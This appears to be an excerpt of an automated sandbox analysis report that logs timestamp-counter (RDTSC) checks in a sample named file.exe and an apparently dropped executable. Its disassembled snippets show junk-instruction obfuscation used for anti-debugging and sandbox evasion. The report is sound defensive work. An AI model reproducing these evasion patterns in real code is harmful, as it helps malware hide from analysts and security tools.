Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290918 second address: 5290928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD4FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290928 second address: 52909E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 jmp 00007FDF304F6306h 0x00000017 mov eax, ebx 0x00000019 jmp 00007FDF304F6300h 0x0000001e mov ecx, dword ptr [ebp-10h] 0x00000021 pushad 0x00000022 call 00007FDF304F62FEh 0x00000027 pushfd 0x00000028 jmp 00007FDF304F6302h 0x0000002d add ax, E238h 0x00000032 jmp 00007FDF304F62FBh 0x00000037 popfd 0x00000038 pop esi 0x00000039 pushfd 0x0000003a jmp 00007FDF304F6309h 0x0000003f jmp 00007FDF304F62FBh 0x00000044 popfd 0x00000045 popad 0x00000046 mov dword ptr fs:[00000000h], ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FDF304F6305h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52909E4 second address: 5290A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD501h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b mov cx, 71C3h 0x0000000f call 00007FDF311AD508h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A19 second address: 5290A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FDF304F6308h 0x00000010 sub cx, B2E8h 0x00000015 jmp 00007FDF304F62FBh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FDF304F6308h 0x00000021 jmp 00007FDF304F6305h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290A7D second address: 5290ABB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD501h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FDF311AD4FEh 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDF311AD507h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290BFB second address: 5290C0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D45C87 second address: D45CA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDF311AD507h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D45CA8 second address: D45CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FDF304F6309h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007FDF304F6300h 0x00000019 jmp 00007FDF304F62FAh 0x0000001e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2BEF1 second address: D2BF00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDF311AD4F6h 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D44C19 second address: D44C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D44DA1 second address: D44DA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D44DA5 second address: D44DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D44DAB second address: D44DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD4FCh 0x00000009 jmp 00007FDF311AD504h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D44F5E second address: D44F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4520A second address: D45227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007FDF311AD4F6h 0x0000000c popad 0x0000000d jmp 00007FDF311AD4FDh 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49456 second address: D494CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F62FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FDF304F62FCh 0x0000000f popad 0x00000010 add dword ptr [esp], 0F2EE646h 0x00000017 jnl 00007FDF304F6302h 0x0000001d jmp 00007FDF304F62FCh 0x00000022 push 00000003h 0x00000024 xor edx, dword ptr [ebp+122D2DCCh] 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+122D29F3h] 0x00000032 push 00000003h 0x00000034 mov edi, dword ptr [ebp+122D215Eh] 0x0000003a push B0800926h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FDF304F6302h 0x00000047 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49599 second address: D49648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF311AD508h 0x00000009 popad 0x0000000a add dword ptr [esp], 06A0303Ch 0x00000011 mov edi, dword ptr [ebp+122D2C23h] 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FDF311AD4F8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 jmp 00007FDF311AD509h 0x00000038 push 00000000h 0x0000003a sub ecx, dword ptr [ebp+122D2A4Fh] 0x00000040 push edx 0x00000041 mov cx, bx 0x00000044 pop edi 0x00000045 push 00000003h 0x00000047 mov edx, dword ptr [ebp+122D2A2Fh] 0x0000004d jmp 00007FDF311AD509h 0x00000052 call 00007FDF311AD4F9h 0x00000057 push edi 0x00000058 push ecx 0x00000059 jmp 00007FDF311AD4FDh 0x0000005e pop ecx 0x0000005f pop edi 0x00000060 push eax 0x00000061 pushad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49648 second address: D49665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF304F6304h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49665 second address: D496AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jp 00007FDF311AD50Fh 0x00000014 jmp 00007FDF311AD509h 0x00000019 mov eax, dword ptr [eax] 0x0000001b jne 00007FDF311AD4FAh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 push edx 0x00000029 pop edx 0x0000002a pop edx 0x0000002b rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D496AE second address: D496DA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF304F62F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov ch, dh 0x0000000f mov esi, dword ptr [ebp+122D2CA3h] 0x00000015 lea ebx, dword ptr [ebp+1245E2E3h] 0x0000001b mov dword ptr [ebp+122D2253h], eax 0x00000021 or dword ptr [ebp+122D17D3h], eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4974E second address: D49752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49752 second address: D49798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 or dword ptr [ebp+122D2DDCh], edi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FDF304F62F8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 and ecx, dword ptr [ebp+122D2B6Bh] 0x0000002f push 91B8962Bh 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jmp 00007FDF304F62FBh 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49798 second address: D4979D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4979D second address: D49808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 6E476A55h 0x00000010 mov dword ptr [ebp+122D2DCCh], edx 0x00000016 push 00000003h 0x00000018 mov edi, 009CFDF6h 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007FDF304F6309h 0x00000025 pop edx 0x00000026 pop ecx 0x00000027 push 00000003h 0x00000029 mov edi, dword ptr [ebp+122D2C47h] 0x0000002f push A3ED00D1h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FDF304F6303h 0x0000003d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D49808 second address: D4980E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D5AE79 second address: D5AE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67086 second address: D6708B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6708B second address: D67091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67091 second address: D6709A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6709A second address: D670A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D670A4 second address: D670A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67350 second address: D6735D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FDF304F62F8h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6735D second address: D67369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDF311AD4F6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67369 second address: D67386 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6309h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67386 second address: D67390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67390 second address: D6739A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6739A second address: D673B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD506h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D673B4 second address: D673E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FDF304F62FAh 0x00000012 pop eax 0x00000013 ja 00007FDF304F6309h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D673E5 second address: D6740C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD508h 0x00000009 jmp 00007FDF311AD4FBh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67ED6 second address: D67EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007FDF304F62F6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67EE9 second address: D67EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67EED second address: D67F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 ja 00007FDF304F6325h 0x0000000d jnc 00007FDF304F6311h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D60043 second address: D60059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD502h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D60059 second address: D60074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 jno 00007FDF304F62F6h 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jl 00007FDF304F6300h 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2D9C0 second address: D2D9C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68729 second address: D6873D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007FDF304F62F6h 0x0000000c jno 00007FDF304F62F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6873D second address: D6874A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6874A second address: D68750 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68750 second address: D68760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDF311AD4FEh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68760 second address: D6876E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007FDF304F62F6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6876E second address: D68772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68A49 second address: D68A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68A4F second address: D68A5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68CFB second address: D68CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D68CFF second address: D68D15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FDF311AD4F6h 0x0000000d jnc 00007FDF311AD4F6h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6CBF9 second address: D6CBFF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6CBFF second address: D6CC25 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF311AD4FCh 0x00000008 jl 00007FDF311AD4F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FDF311AD501h 0x0000001a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6CC25 second address: D6CC2F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6DCC8 second address: D6DCDB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDF311AD4F6h 0x00000008 je 00007FDF311AD4F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6DCDB second address: D6DCE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6DCE1 second address: D6DCFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF311AD504h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6DCFA second address: D6DD0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDF304F62FFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D74917 second address: D74921 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF311AD4F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D74921 second address: D74927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D73D25 second address: D73D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D73EAF second address: D73EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jno 00007FDF304F62F6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D745CB second address: D745E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF311AD4FDh 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D745E0 second address: D745EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7476F second address: D74775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D74775 second address: D7477F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7477F second address: D74794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDF311AD4FFh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D74794 second address: D747A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D75D92 second address: D75DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF311AD506h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D75EA4 second address: D75EA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D75EA8 second address: D75EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D75EAE second address: D75EB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D76087 second address: D76090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D76D1C second address: D76D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D76D26 second address: D76D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D77E7B second address: D77ED0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF304F62F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007FDF304F62FAh 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FDF304F62F8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov esi, dword ptr [ebp+122D29DFh] 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b mov dword ptr [ebp+122D1835h], edi 0x00000041 pop edi 0x00000042 push 00000000h 0x00000044 mov esi, 252D9022h 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
